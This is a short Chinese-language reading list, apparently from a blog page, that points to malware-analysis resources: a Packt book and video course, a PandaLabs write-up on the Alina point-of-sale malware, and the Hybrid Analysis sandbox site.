学习恶意软件分析,Monnappa K A,2018 年 6 月:
www.packtpub.com/eu/networking-and-servers/learning-malware-analysis -
Alina,最新的 POS 恶意软件 – PandaLabs 分析:
www.pandasecurity.com/en/mediacenter/pandalabs/alina-pos-malware/ -
恶意软件分析基础,Munir Njenga,2018 年 3 月 [视频]:
www.packtpub.com/networking-and-servers/fundamentals-malware-analysis-video -
混合分析 – 分析和检测已知威胁:
www.hybrid-analysis.com/?lang=es
1万+

被折叠的 条评论
为什么被折叠?



